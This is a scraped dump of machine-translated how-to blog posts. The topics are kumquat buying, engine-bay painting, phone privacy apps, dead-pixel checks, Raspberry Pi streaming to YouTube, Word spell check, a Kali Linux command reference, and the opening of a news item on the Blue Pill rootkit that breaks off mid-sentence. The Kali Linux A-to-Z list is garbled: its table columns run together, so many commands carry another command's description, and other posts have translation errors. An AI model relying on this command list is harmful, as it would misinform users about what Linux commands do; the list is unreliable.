fruiting. Besides, beautiful kumquat trees also need more young buds and flowers. That is the beautiful kumquat tree.\nShould not choose small yellow leaf trees, small fruit has just bad and has signs of root rot phenomenon. These trees will not be good to buy at home but also withered away, causing leaves and fruits to drop.\n  3. How to take care of fresh kumquat for a long time If you buy kumquat, you must not break the soil. Select pots larger than pots, there are many openings to add soil without affecting the soil in the pots to grow.\nBefore planting, lay a moderate layer of coal slag at the bottom of the pot as a layer of water before planting. This way helps the bottom layer of the tree to drain well, preventing flooding and causing root rot to wilt quickly.\nWhen watering, you should use a small pump to spray on the leaves and only water enough for the kumquat root to keep it fresh.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYytpmaapa56o7HArquinqWheqzBzKqsmqxdqb%2BmsdJmpJqmqWKzsL7TrqWeZaSkerixy5ympp1dqbK1\n","link":"/post/how-to-choose-to-buy-beautiful-kumquat-trees-many-fortune-to-welcome-tet/","section":"post","tags":null,"title":"How to choose to buy beautiful kumquat trees, many fortune to welcome Tet"},{"body":" Painting your engine bay can be a great way to set your vehicle apart or just generally improve its looks when you have the hood open. Optimally, you should paint your engine bay with the engine completely removed, but even if you're not...\nMethod 1of 3:\nCleaning the Engine Bay  Let the engine cool overnight if you haven't removed it. While it is easiest to paint the engine bay without the engine installed, that may not be an option for you. If so, park the vehicle where you intend to work on it the next day and leave it to cool for at least 8 hours.[1] Applying cleaner to your engine while it's still hot can reduce how effective it can be. Working on an engine before it cools is dangerous because it will burn you.   Remove everything you're comfortable removing. If you are leaving the engine in the engine bay, you can still remove many components, based on your skill level and comfort. Don't remove or disconnect anything you don't feel comfortable reinstalling or reconnecting later.[2] The more you remove from the engine bay, the easier it will be to achieve a professional finish in the paint. Set any components you remove aside somewhere safe until it's time to put the vehicle back together. Common components you may want to remove are the airbox, intake, alternator, power steering pump, air conditioner, radiator, accessory or serpentine belts, reservoirs for windshield washer fluids and any number of other components that may be accessible from the engine bay.   Cover any electronics and the air intake with plastic (if you didn't remove them). Be sure to wrap the engine's alternator and fuse box in particular. If your vehicle has an airbox around the air filter, you may still want to wrap plastic around it just to be safe. Covering things will help protect the engine while you clean it.[3] The airbox is located at the end of the intake pipe that leads into the engine's intake manifold. If you have difficulty locating any of these parts, refer to your vehicle's owner's manual to locate them. Look for any bundles of wiring or connectors and cover them as well.   Spray degreaser around the engine bay. Read the instructions on your degreaser and be sure to follow them exactly. Often, you'll be able to simply shake the can and spray a layer of degreaser over all exposed metal that you intend to paint.[4] You do not have to spray the engine, as it won't be getting painted, but you can if you'd like to clean it up.   Use a scrub brush on the dirtier parts. While the degreaser soaks in, a stiff bristled brush can help to remove the tougher bits of grime. Depending on the state of your engine bay, this step might take a good amount of elbow grease.[5] Apply more degreaser as you scrub if need be. The metal you intend to paint must be completely free of grease and grime before you can move forward.   Rinse the degreaser off thoroughly and let it dry. Once you're satisfied with how clean the engine bay is, use a hose to rinse the degreaser off (unless otherwise specified in your degreaser's instructions).[6] Make sure to give the engine bay a thorough rinsing. No degreaser should be left behind. If you spot more grease or grime after the engine bay is rinsed, go back and repeat the degreasing process.  Method 2of 3:\nPreparing the Surface for Paint  Remove any visible rust with 100-grit sandpaper. You cannot paint over rust. It will only spread and worsen over time. Instead, sand away light rust with 100-grit sandpaper until it's completely removed and you see only bare metal. If the rust goes all the way through the metal, that portion will need to be cut out of the vehicle and you'll need to have new metal welded into place as a replacement.[7] Cutting the metal and welding in new steel is a job best left to professionals. Be sure to wear eye protection and a filtration mask while sanding.   Strip the old paint if you want a perfect finish. Stripping off the old paint completely is really only necessary for an extremely polished finish like you might find in show cars. If you want to achieve that finish, use a power sander to strip away all of the paint in the engine bay down to bare metal. Run the sander back and forth over the paint until it's all stripped away.[8] Stripping all of the paint out of the engine bay by hand would be extremely difficult and time-consuming. Make sure to strip the paint off the metal in a well-ventilated space and while wearing eye protection and a filtration mask.   Sand all the metal you intend to paint with 2,000-grit sandpaper. Whether you stripped the paint from the metal or not, it still needs to be a smooth, flat surface for you to begin painting. Rub 2,000 grit sandpaper into the metal in a circular motion on all of the metal until you're satisfied that the surface is flat and even.[9] Engine bays often have lots of nooks and crannies, so be sure to get into them with your sandpaper. You're done sanding when the surface feels smooth to the touch.   Use a wet rag to remove all dust and debris. Not only is there paint and debris you sanded off now floating around the engine bay, but sand from the sandpaper has likely gotten everywhere. Wiping it away with a wet or damp rag to remove all the sand and debris will save you from having to wait a day for the engine to dry again.[10] If there's too much sand and debris to remove with a cloth, use a hose to rinse out the engine bay and then allow it to dry overnight.   Cover the engine and hoses with plastic or foil if they haven't been removed. If the engine is still in the engine bay, it will need to be covered, along with any accessories, pipes or hoses coming off of it. Remember, even if you don't point the spray gun or spray paint directly at the engine, paint will still be floating around. Wrap everything in plastic or foil, then use painter's tape to secure the coverings.[11] Large garbage bags are good for wrapping engines. Aluminum can be a handy way to wrap components that stick out of the engine.   Tape off any areas you don't want to paint. With the engine, hoses, and pipes completely wrapped up, it's time to tape off the fenders and anything else you don't want painted. Apply a strip of painter's tape along the edge of the fender where the hood sits when it's closed. Optimally, you can use that same tape to secure plastic laid over the fender to protect it from paint as well.[12] Look around the engine bay again and make sure everything that's not supposed to get painted is covered, and the covering is secured with tape.  Method 3of 3:\nSpraying the Paint  Apply a coat of primer to the engine bay. A good quality primer will provide a great surface for your paint to bond to. Be sure to use automotive primer that's intended for use in the engine bay, as the paint will need to have a high temperature rating. Spray the primer from about 12 inches (30\u0026nbsp;cm), sweeping it side to side as you go.[13] Don't hold the primer in one place, or it may pool and begin to drip. Allow the primer to dry completely before moving on. It will tell you its cure time on the bottle.   Add paint to your spray gun or shake the can of paint, depending on which you're using. You can paint your engine bay using spray-on automotive paint from a can, but you may have access to a paint gun. If so, make sure the paint is properly mixed and then pour it into the hopper on the paint gun.[14] Different paint guns and air compressors work differently, so be sure to apprise yourself of how to properly use each by reviewing the owner's manual or visiting the manufacturer's website. Be sure to purchase high temperature automotive paint, which you can get from any auto parts store.   Spray 2 light coats of paint onto the primed surface, letting each dry before moving on. You'll be applying a total of 4 coats of paint to the engine bay, but the first two should be light. Hold the can or gun around 12 inches (30\u0026nbsp;cm) from the metal and sweep it back and forth as you paint. Your first two coats should be a light dusting over the primer.[15] Allow the first coat of paint to dry completely before applying the second coat. Be sure the second coat is dry before moving on. Different kinds of paint will have different curing times in different environments. If it's very humid where you are, the paint will take longer to dry than in dry climates. Some paints are formulated to be quick drying. Read the label carefully to know how long you may need to wait.   Add 2 more heavy coats of paint, allowing each coat to dry completely in between. With both light coats of paint dry, applying 2 heavy coats will give the engine bay a deep, rich color. Spray the paint from the gun or can in a sweeping side to side motion just as you have before, but do it a little slower and go over areas a few more times to make the coat thicker.[16] Again, be sure the previous coat is dry before moving on to the final coat.   Remove the tape, plastic, and foil while the paint is still tacky. If you let the paint dry completely before you remove the tape, it may crack. Instead, touch a bit of paint in an inconspicuous area to see if it's tacky (nearly dry, but still damp). Once it is, peel the tape off the vehicle to reveal the edge the tape provided.[17] Peel the tape away slowly, to make sure you don't accidentally damage the drying paint. Leave the plastic over the engine for now.   Allow the paint to cure for the recommended amount of time. Depending on the brand of paint and how thick your coats were, the amount of time it will take to cure can vary a great deal. To be safe, let it sit overnight at the minimum, and wait a week before attempting to wash it.[18] At least 8 hours (overnight) is recommended, but you should consult the label on the specific paint you chose to be sure.   Reinstall any components you removed. Once the paint is completely dry, the engine bay is ready for you to get back to work. Lower the engine into place using a hoist and secure it using motor mounts. If you removed components rather than the engine, reinstall them in the reverse order you removed them in. Be careful not to damage the paint as you install the engine and related accessories.   Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiRnru1ecCnZJ6ml567pnnBmrA%3D\n","link":"/post/how-to-paint-an-engine-bay/","section":"post","tags":null,"title":"How to Paint an Engine Bay"},{"body":"There are times when you have to try to cover your phone screen from the surrounding eyes when texting or logging in to your account, make sure you've at least once encountered it. And how to combat that action in the best and most polite way?\nSome of the following methods will help you avoid prying eyes on your phone screen. These are ways to help you darken your phone screen when looking at corners of people who \"stare\".\nHow to customize iPhone screen lock Customize Android home screen for beginners What is the best color correction for the screen? Ways to help prevent phone peeping Privacy Screen Filter This application can protect your information in a very simple way, helping you protect your phone privacy in public places.\nThe Privacy Screen Filter has a color filter input feature that helps your phone avoid peeking from cross-viewing angles, you can change the color filter's transparency, how to use the Privacy Screen Filter you can see below. here.\nDownload Privacy Screen Filter for Android\nStep 1: Start the Privacy Screen Filter application, then click the pink Power icon to use the application. If required, allow the Privacy Screen Filter to override other applications in Settings, enable the enable button\nThen there is a translucent white layer displayed on your screen, you can allow this level of white layer display by region on the screen by dragging the display bar to the area you want. display. Then click the star in the upper right corner to edit.\n   Next, the screen will be switched to the opacity correction part of the color layer. Drag to the middle of the screen to edit the opaque percentage of the white layer. The lower the percentage, the more visible and vice versa.\n  Screen Protector 9000 The app also offers users a privacy screen filter and protects your phone screen from prying eyes. Screen Protector 9000's color filter gives users the option of being as comfortable as possible, in addition to using Screen Protector 9000 to prevent peeping, you can also apply a blue light filter by applying only functions. color and transparency. Finished selecting turn ON to apply the color filter.\nDownload Screen Protector 9000 for Android\n  \nStarting the application on you will have the main options such as:\nRemove Ads: Remove ads completely on this app, you will have to pay a fee to remove ads on this app. Color: Select the color for the filter, you will select the color in the most complete way with a full color circle, drag the bar below to select a light or dark color for your filter. Filter Pattern: Choose the type of filter, the type of filter here is photos like sky, leopard, many colors . if you want to show only the color of the filter you can choose No Pattent. Transparency: The filter's opacity, the higher the percentage, the darker the color of the filter will be displayed, if you choose a high percentage to combine with the filter type, it will be difficult for you to see the screen. mine. NO LUK Like Screen Protector 9000, NO LUk applies to users of different color filters. The only difference is that NO LUK already has all the color filters out of the main screen. And this application also provides users with a number of different types of filters. Just select a color filter, allow NO LUK to display on other applications and choose the filter you like.\n   \nImmediately the color filter will be applied, you can select the transparency of the filter by dragging the translucent button on the toolbar, press X to exit the application.\n  \nHide Screen A simple screen-anti-theft application, just download and start up, press Start to cover your screen from prying eyes around. Then double-click the eye icon in the screen, and this time your screen will be black, see nothing, want to go back to the beginning, double-click the screen again.\nThis method is only used when you want to completely cover the content on your phone, but if you do not want to, you can refer to the above applications to add color filters to your device.\n   \nTempered glass anti-theft   Compared to the price of normal tempered glass, anti-theft toughened glass, although it has a higher price, is specially designed to enhance privacy, making it impossible for others to view their phone screen when they sitting next to.\nThis special type of glass is designed based on specialized optical applications, for structural glass with anti-peeping capability. When pasting this piece of glass, you can only see the phone screen clearly when looking at it directly, and if you just tilt the angle slightly, you will see only the black screen.\nThis way is being enjoyed by many people, especially for those who are important in the security of information on phones, in addition, this type of glass is also applied to some devices with large screens like tablets. , laptop screen, PC .\nSome anti-theft toughened glass that you can refer to reputable firms such as King Kong, JCPal, Baseus, BlueO, Nillkin . with reasonable price. You can order anti-theft toughened glass through online shopping apps or reputable distributors.\nWith the above screen purgatory, you will learn how to protect your personal information from prying eyes and peace of mind when using your smartphone in crowds.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimsOmutNmp6Gnnpp6sbHEqaCnnw%3D%3D\n","link":"/post/how-to-prevent-phone-peeping/","section":"post","tags":null,"title":"How to prevent phone peeping"},{"body":"Here, I will show you how to know if your screen has damaged pixels and where it is damaged.\n1. Check what type of computer screen you have To check this detail, please download a third-party application to conduct the check.\nDownload Furmark software here. Step 1:\u0026nbsp; After accessing the website, click\u0026nbsp; DOWNLOAD \u0026nbsp;to download and install.\n Step 2:\u0026nbsp; After booting, select\u0026nbsp; Custom Preset.\n Step 3:\u0026nbsp; Then you choose\u0026nbsp; GO \u0026nbsp;to conduct the test.\n Step 4:\u0026nbsp; Wait for a few minutes until the data download is 100% complete.\n Step 5:\u0026nbsp; Check the screen parameters and screen type at the display below.\n 2. Check your screen for damaged pixels Step 1:\u0026nbsp; Download the Dead Pixel Buddy test software here and install the application as above.\nStep 2: \u0026nbsp;After the installation is complete, a color range will appear to test the performance of pixels, choose the colors in turn to see which pixel is damaged on your device.\n Step 3: \u0026nbsp;Based on the signs of dead pixels at\u0026nbsp; Examples of dead pixels,\u0026nbsp; if the test screen shows black with a white dot at any position, it means that you have damaged black pixels at this position. That is, the same is the white is the black dot. And if there is no dot like below, you can rest assured.\n Good luck.\nbroken laptop screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmmqGdk6B6tbTEZqOaqKSkvW6%2FwqucnqZdm7yzecCnsGackaKuqLHDZqeisJWhwA%3D%3D\n","link":"/post/how-to-quickly-check-the-laptop-screen-for-any-damaged-pixels/","section":"post","tags":null,"title":"How to quickly check the laptop screen for any damaged pixels?"},{"body":"By adding a camera module to the Raspberry Pi, you basically get a mobile Internet camera, compact and easy to hold or attach somewhere.\nIf you want to stream footage with this module, do you know where to start? Which Pi model should you use? Where is the camera module solution better in this case? And how do you live streaming YouTube footage? As with most things on Raspberry Pi, these things are very simple.\nGuide to streaming videos to YouTube with Raspberry Pi Why choose live streaming with Raspberry Pi? What do you need to prepare? Set up YouTube channel Prepare Raspberry Pi to stream directly to YouTube Establish transmission with avconv What does the stream command mean? Split session SSH to play online Why choose live streaming with Raspberry Pi? With so many different devices capable of streaming live on YouTube, are you wondering why you chose Pi?\nFirst, the size of the Raspberry Pi certainly works, allowing you to position Raspberry Pi in almost every position. Secondly, using Pi as a dedicated YouTube live camera also frees other devices.\nOperations can be a bit lengthy, requiring a long series of commands, but the results will definitely satisfy you.\nWhat do you need to prepare? To stream anything with the Raspberry Pi directly to YouTube, you'll need the following:\nA Raspberry Pi 3 or above. Raspberry Pi camera module (original version or NoIR are available). (Although you can use a USB webcam, these instructions assume you are using the Raspberry Pi camera module). Backup battery power (optional). For the operating system, standard Raspbian Stretch will be fine. But you can also choose Ubuntu or Arch Linux or any other Raspberry Pi distribution available.\nNext, connect the camera and start up. You will also need a YouTube channel to stream your footage live. This process is not as difficult to set up as you think.\nSet up YouTube channel You may already have a YouTube account. If you use Google Mail, there is an account ready to activate. You will need a special URL from here to transfer the footage recorded by the Raspberry Pi camera to YouTube.\nThis is called the RMTP address and is basically a specific media URL.\nTo find this address, visit YouTube, log in and find the Upload button . Here are the steps you usually use in YouTube to add videos. However, in this case, we will ignore this and click the Get started button in Live Streaming.\nIn the next screen, fill in the details you want for the live feed. This will be information related to the topic of the feed and the title you should add in Basic Info. You will also have the opportunity to set privacy levels for streams ( Public, Unlisted or Private ).\n  In the next tab, Stream key setup , find Stream URL and Stream name / key (you need to click Reveal to see this information). Note that the Stream key must be secure because anyone with this information can stream it directly to your YouTube channel!\n  (If you want to set up Pi streaming via SSH, just copy the Stream name / key from the YouTube browser window to the command line of Raspberry Pi remotely).\nTo see other options here, see the tutorial: How to play live video on YouTube? from TipsMake.com.\nPrepare Raspberry Pi to stream directly to YouTube Now, it's time to set up Raspberry Pi for streaming.\nStart by upgrading. This step ensures you can run the latest Raspbian version, with all necessary system and software updates, including raspivid.\nsudo apt update sudo apt upgrade  This step will take a few minutes to complete. Once completed, open a terminal window and enter:\nsudo raspi-config    Use the arrow keys to select Enable Camera, press Enter , then select Yes. You will be prompted to restart. When Pi restarts, enter:\nraspistill –o image.jpg  You will find results in the Home folder. When you know for sure that the camera is working with the Raspberry Pi, you can continue.\nEstablish transmission with avconv The most recent versions of Raspbian have been pre-installed with avconv, so you don't need to install it. However, if you don't want to upgrade your Raspberry Pi, just install the libav-tools package :\nsudo apt install libav-tools  Once avconv is installed, you are ready to create a feed for YouTube. You may need Stream name / key that you recorded earlier for this.\nHowever, the command is quite long:\nraspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | avconv -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /dev/zero -f h264 -i - -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv rtmp://a.rtmp.youtube.com/live2/[your-secret-key-here]  As you can see, the command has many factors. Now, if you want to continue and run it, copy the code, paste it into the terminal window and press Enter . Remember to change the [your-secret-key-here] to Stream key that you noted earlier.\nIf everything works as intended, you'll end up with the following result:\n  When this happens, return to the YouTube browser tab. A moment later, the footage will start streaming:\n  What does the stream command mean? The long command above can be quite confusing for beginners, but contains a separate set of parameters. Look at the most important thing.\n-fps: This is the frame rate per second (frames per second). For best results, this speed must be above 24. However, if performance is an issue, you may want to reduce this ratio to improve the stream. -w -h: They can be used to specify width and height. If you ignore them, raspivid will use 1920 × 1080 (1080p) high resolution resolution. -b: Output bitrate limit (bitrate is the amount of data transmitted over a certain time period). YouTube's proposal is 400-600kbps. A lower number will reduce the upload bandwidth, make the video lower quality. -acodec: This parameter is especially important for streaming to YouTube. This service does not allow video without audio (or audio but no images), so the example uses this to create fake audio for the stream. Because Raspberry Pi has no built-in mic and the best sound results are obtained, it requires additional HAT sound cards (this is an easy solution). -f: This is the output format. In this case, it's flv, the preferred format for live streams on YouTube. Split session SSH to play online The raspivid command above will initialize a stream, but if you are connecting via SSH, when you disconnect, the thread will close. Surely you can't let the computer run just so that Pi continues to transmit, right?\nFortunately, there is a solution to this problem. It is a screen. This is a software you can install, which helps keep the SSH session running when you disconnect.\nStart by ending the stream ( Ctrl + X ), then install the screen:\nsudo apt install screen  Wait for the installation screen to finish, then restart Pi.\nsudo reboot  Reconnect via SSH, log in, then enter the command to run the screen:\nscreen  This basically creates a separate environment for you to run the raspivid command, an environment that will exist when you disconnect. Simply run raspivid as above, then when you are ready to disconnect, press Ctrl + A\nClose the SSH window and the stream will continue.\nWith live video from the camera on Pi, everything will work well. All you need is:\nConnect camera module with Raspberry Pi Position Pi to record the scene Run system update Set up YouTube channel and copy URL stream Start a stream with the raspivid command Note that with continuous streaming, it is possible that all devices may be too hot, this will slow down the stream. If this happens, consider some Raspberry Pi cooling solutions.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukp7KiuYyloK%2BdXam8bsXOrquumpVixKrAx2apmqugl7Kzvthmp6I%3D\n","link":"/post/how-to-stream-live-to-youtube-with-raspberry-pi/","section":"post","tags":null,"title":"How to stream live to YouTube with Raspberry Pi"},{"body":"In the process of writing a text, you often see errors underlined in words make text confused, unfriendly. The solution is very simple, turn off the spell check function. The following article shows how to turn off spell checking in Word, Powerpoint\nTurn off the spell check function in Word For example, when you turn on the spell-checking feature, your text content often has a red underline that looks very confusing:\n  To turn off the feature you do the following:\nStep 1: On the card File -\u0026gt; Options:\n  Step 2: The Word Option dialog box appears, select Proofing and uncheck the 2 items:\n- Check spelling as you type\n- Check grammar with spelling.\nFinally, click OK:\n  Step 3: Return to the content text file that has been underlined:\n  Similarly to turn off the spell check feature in Powpoint you do the same operation.\nAbove is a detailed guide on how to turn off spell checking in word, powerpoint . Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKyolaG5bq%2FHnpqkoZ6ceqq6jLCmq5xdpby4sdGppqKmpGK%2FprnOr5xmrJiaerOxw2asp5yVp7mqusRmoKdlp6S%2FpQ%3D%3D\n","link":"/post/how-to-turn-off-spell-checking-in-word-powerpoint-remove-the-red-underline-in-word/","section":"post","tags":null,"title":"How to turn off spell checking in Word, Powerpoint (remove the red underline in Word)"},{"body":"Kali Linux is an open-source, free, Linux-based operating system, widely used by hackers, security and testers. This operating system supports tools for penetration testing, system and website vulnerability scans, so it is very useful in studying and researching security.\n10 most useful Linux commands How to scan websites for potential security vulnerabilities with Vega on Kali Linux How to install and use Kali Linux on VmWare virtual machine However, to use this operating system, users often use commands rather than manipulating through the graphical interface. Therefore, we have compiled Kali Linux commands from AZ with some commonly used Kali Linux commands to help you easily manipulate this operating system.\nCombine Kali Linux commands from A to Z Kali Linux CommandAapropos Function Search manual page (like man -k) apt-get Search and install the software package (Debian) or use it for major upgrades aptitude Search and install the software package (Debian) or use for regular aspell update Check awk spelling Find and replace text, sort / specify / index database Bbasename Remove (Strip) directory and suffix from bc Language name GNU Bourne-Again Shell bash file language calculation with arbitrary bg accuracy Send to background break Exit the builtin loop Run shell builtin bzip2 Compress or decompress the file named Cal Display case Make a cat conditional command Connect and print (display ) contents of cd file Change cfdisk directory Operate partrition table for Linux (edit, create partition) chgrp Change ownership n chmod change chown access Change file and group chroot ownership Run command with another root directory chkconfig system services (runlevel) cksum Print CRC checksum and count clear byte Delete cmp terminal screen Compare 2 files comm Compare two files sorted by command line Run commands - ignore shell continue functions Continue the next loop of cp loop Copy 1 or more files to another location cron Daemon help execute the commands that have been raised crontab calendar Schedule a running time-out command to csplit Split a file into contextual sections cut Split a file into multiple parts Date Display or change the date and time of the desktop Desktop (supports arithmetic notation dd) dd Convert and copy file, write disk header, create boot records (USB boot) ddrescue Restore tool declare data variable declaration and their properties df Show empty disk space diff Display the difference between two diff3 files Display the difference between 3 dig files DNS lookup list Content directory one how to summarize dircolors Set color for `ls' dirname Convert the full path name to path (dir) dirs Show list of remembered directories dmesg Print kernel \u0026amp; notification driver du Estimate file size using Echo Show display message on screen egrep Search for files that match the eject extension expression Remove removable media such as USB, external hard drive enable Enable or disable shell builtin env Environment variables (Variables environment) ethtool Eval Ethernet card settings Evaluation of several commands / exec arguments Execute a command exit Exit shell expect Applications are accessed automatically, arbitrarily via the terminal expand Convert tabs into spaces (space) export Set an environment variable expr Evaluate the Flfalse expressions Nothing, unsuccessful fdformat Low-level format of a floppy disk fdisk Check partitions on Linux fg Transfer a job to foreground fgrep Search for files with rows that match fixed strings Determine find file types Search files that meet desired criteria want fmt Reformat the fold text Combine text to match the specified width for Extend words, and execute Format disk format or tape (tape) free Displays the amount of memory used fsck Detect and fix errors on filesystem ftp File Transfer Protocol function Function definition fuser macro Determine and interrupt the process of accessing the fileGgawk Find and replace the text in the getopts file Parameter analysis by location grep Search for the file with the matching line for the groupadd Add user to the groupdel Delete group groupmod Edit group groups Print the group name containing the gzip user Compress or unzip the file named Hhash Remember the full path name of the head name argument Provide the first part of the help file Show help for the integrated history command hostname command Print or name the systemIiconv Convert character set of id file Print user ID and group if Execute command ifconfig Configure network interface (network interface) ifdown Stop network interface ifup Start network interface import Take a screenshot of the X server and save the image to the install Sa file o copy the file and set the propertiesJjobs List the jobs that are doing the join Join the lines on a common fieldKkill Stop the running process killall Stop the process by name Show the output of a screen at the same time let Calculate on shell variables Create symbolic link to local file Make variable locate Find logname file Print current login name logout Exit look login shell Show lines starting with the given string lpc Lpr control control Turn off the printer lprint Print lprintd file Stop printing in lprintq List lprm print queue Remove jobs on print queue ls List information about lsof file List open fileMake recompile a program group man Instructions for using mkdir Create mail new item mkfifo Create FIFO (named pipe) mkisofs Create filesystem ISO9660 / JOLIET / HFS hybrid mknod Create a block or character for a special file more Show output a screen at the same time mount Mount a mtools file system Manipulate MS-DOS mtr files Network diagnostics (traceroute / ping) mv Move or rename files or mmv folders Move or rename multiple files or folders Netstat Nice network information Set priority for commands or jobs nl Number lines and write Nohup Run command without hanging notification -send Send message on nslookup screen Query DNSOopen Open file with default application op Operator accessPpasswd Modify user paste password Merge lines in pathchk file Check portability of ping file name Check pkill Internet connection stop process running popd Restore previous value of current directory pr Prepare file to print printcap Potential printer database printenv In environment variable printf Format and print data ps Pushd progress status Save and then change the current directory pwd Print Working Directory (Print working directory) Qquota Show display the amount of used disk space and quotacheck limits Scan the file using how much quotactl disk space Set the drive quotaRram ram disk device rcp Copy files between two read engines Read a line from standard input readarray Read the stdin from an array variable readonly Mark the variable / function as read-only - readonly reboot Reboot the rename system Rename the renice file Change the priority of the running process remsync Synchronize files remotely email return Exit shell rev function Reverse lines of rm file Delete rmdir file Delete directory rs ync Copy remote files (Synchronize file trees) Sscreen Rumble terminal channel, run remote shell via ssh scp Secure copy (remote file copy) sdiff Merge two interactive files sed Editor select select Accept input from keyboard seq Print serial number set Set sftp Secure File Transfer Protocol shift variables and shell functions Change shopt parameter parameters Shutdown shell options Turn off or restart Linux sleep Delay in a certain time slocate Search file sort Arrange source text files Run commands from a split file Split files into fixed-size sections ssh Secure Shell client (remote login) strace Track system call and signal su Replace user sudo identity Execute root sum command Print checksum for suspend file Pause th c show symlink shell New name for file sync Synchronize data on disk with memoryTtail Export end of tar file Compress or decompress .tar tee file Redirect output to multiple test files Evaluate a conditional expression time Measure the run time of the program times Time user and touch system Change the timestamp of the top file List the running processes on the traceroute system Track the route to Host trap Run the command when a signal is set up Translating, restricting, and / or deleting true characters Doing nothing, succeeding tsort Type of tty topology Print the name of the terminal on stdin type Describe a commandUulimit User resource limit umask Setting permissions when file, folder newly created umount Unmount an unalias device Delete alias uname Print system information unexpand C space conversion to uniq tab Single files units Convert units from one ratio to another unset Remove function names or unshar variables script until the archive until Execute the command (until error) uptime Show time activity useradd Create new usermod user account Edit user users account List users currently logged in uuencode Encrypt binary files uudecode Decrypt files created by uuencodeVv List directory contents (`ls -l -b ') vdir List directory contents (`ls -l -b') en vmstat text editor Report virtual memory statistics Wait for the process to complete watch Perform / display a recurring program wc Print byte number, word, line whereis Search for $ path of user, bearing page and source file for program which Search for $ path of user for application file while executing who command Print all users who are logged in whoami Print the current ID and user name (`id -un ') wget Retrieve the website or file via HTTP, HTTPS or FTP write Send a message to other usersXxargs Run the utility, skip the argument list built xdg-open Open the file or URL in the user's preferred applicationYyesIn a string until interrupted\nMove command, listed in Kali Linux pwd shows the working directory name. insert the user's home directory.cd ~ / Desktopdi to the user's Desktop folder.cd . move to the parent directory of the current directory.cd / usr / apt move to / usr / apt directory . ls -l folder\ndir -l folder details the files and folders in the current directory, or folder folder . ls -a folder dir -a folder lists all files and folders (including hidden) in the current folder, or folder folder . ls -d folder dir -d folder lists folders in the current directory, or folder folder . ls -t folder dir -t folder lists files and folders in the current directory, or folder folder , and then reorder by date, nearest to the top and then display. ls -S folder dir -S folder lists the files and folders in the current directory, or in the folder folder , then sort by size, the largest above and then displays. ls folder | more lists files and folders in the current directory, or in the folder folder and displays on each page. Distributed file permissions chown userfile identifies the owner of the file file as the user . chown -R userfolder determines who owns the folder folder is the user . chgrp groupfile defines the group of file owners. chmod u + x file grant permission (+) executable (x) file file for user (u) owned. chmod gw file to collect (-) write (w) file for user group (g) owned. chmod or file captures (-) reads the file (r) for other users (o). chmod a + rw file grant (+) read (r) and write (w) file for the entire user (a). chmod -R a + rw folder grant (+) read (r) and write (w) folder folder and messages and sub files for the entire user (a).\nThe Kali Linux command manipulates files and folders cp file1file2 copy file file1 to new file2 . Copy the folderfile to copy the file to the folder folder and keep the name. cp -r folder1folder2\nrsync -a folder1folder2 copies the folder1 folder and subdirectories to the new folder2 folder. mv file1file2 moves file1 to new file2 . mv folder1folder2 move the folder1 folder to the new folder2 name. mv filefolder moves the file to the folder folder and keeps the name. mv file1folderfile2 moves the file to the folder folder and renames it into a mkdir folder2file to create the folder folder . mkdir -p folder1folder2 creates folder1 folder and folder2 folder (if not yet) rm file deletes the file . rmdir folder deletes the empty folder folder . rm -rf folder deletes the folder folder and subfolder files (rf). ln -s filelink creates link (shortcut) link to file . find folder -name file to find the file file in the folder folder and subdirectories. diff filefile compares the contents of two files or two directories\nThe Kali Linux command works with file content cat file export the entire file content to the Terminal screen. more file to export the content of file file by page, Enter down one line, Space down one page and q to exit less file to export file file contents, like more commands but can use Page Down button. head -n file displays the first n lines of the file file . tail -n file displays the last n lines of the micro file file compiling the file file with the vi editor. nano file compiles file file with nano editor. gedit file compiles file file with gedit editor. grep the filetext to export the lines containing the text in the file file grep -r textfolder find the text in all the files in the command \u0026gt; folderfile, write the output to the Terminal of the command to the command file file \u0026gt;\u0026gt; The file writes the output to the Terminal of the command at the end of the file\nCommand Kali Linux basic system The sudo command executes the command with superuser permissions. gksudo command is similar to the sudo command but used for GUI applications. sudo -k stops processes with superuser rights. uname -r shows the version of the kernel you are using. shutdown -r now immediately turns off and reboots. lsusb\nlspci lists the USB or PCI devices that are connected. The time command indicates the time to execute commandcommand1 |command2 passes the result of command1 as the input of command2\nKali Linux command controls the process ps -ef shows all the processes that have been performed (pid et ppid) .ps aux shows detailed processes. aux aux | grep soft shows details of the processes related to the soft kill pid program that turns off the xid process to turn off the GUI process.\nKali Linux commands work with computer networks / etc / network / interfacesfile configuring the network interfaceuname -a\nhostname shows the name of the computer in the network (hostname). ping address Ping to the address of the address . ifconfig -a displays information about existing network cards. ifconfig interface ip-address specifies the static ip address for the specified network card. ifdown interface ifconfig interface down stops the specified network card operation. ifup pid ifconfig interface up starts the specified network card. route add default gw ip-address specifies the default gateway address. routing del default leaves the default gateway address.\nKali Linux command partition hard drive / etc / fstab file contains information about the hard drive and file system automatically mounted. fdisk - lists the current hard drives and partitions.fdisk / dev / hda1 changes the hard drive hda1mkfs.ext3 / dev / hda1 create ext3 file system on hard drive hda1.mkfs.vfat / dev / hda1 create fat32 file system on hda1 hard drive\nHopefully, the commands on using your Kali Linux operating system will be easier.\nExplore more:\nHow to run 2 or more Terminal commands at the same time on Linux Basic Linux commands everyone needs to know Guide to network operation for Linux users: 11 commands to know Some basic Terminal commands in Linux Mint 11 ncG1vNJzZmismaXArq3KnmWcp51kuKK4yGajoqalrXqku8ymmKeco2Kzs7vMZpizZZGjsW6vzqakqKacrnq2v8SdZJynnaKur7DS\n","link":"/post/kali-linux-commands-from-az-and-commonly-used-commands/","section":"post","tags":null,"title":"Kali Linux commands from AZ and commonly used commands"},{"body":"A rootkit security researcher has successfully developed a prototype of a new technology that allows the creation of \"100% invisible\" malware, even for x64 systems like Windows Vista. Joanna Rutkowska - an expert in \"hidden\" malware technology at security firm COSEINC based in Singapore - said the new technology Blue Pill using AMD's virtualization technology can help. create a very small software that is capable of controlling the entire operating system. It cannot be detected. Rutkowska plans to present his new idea at the SyScan Conference to be held in Singapore at the end of July and at the Black Hat Conference in the US in early August. The idea is not new  Rutkowska has revealed that the new technology relies on a 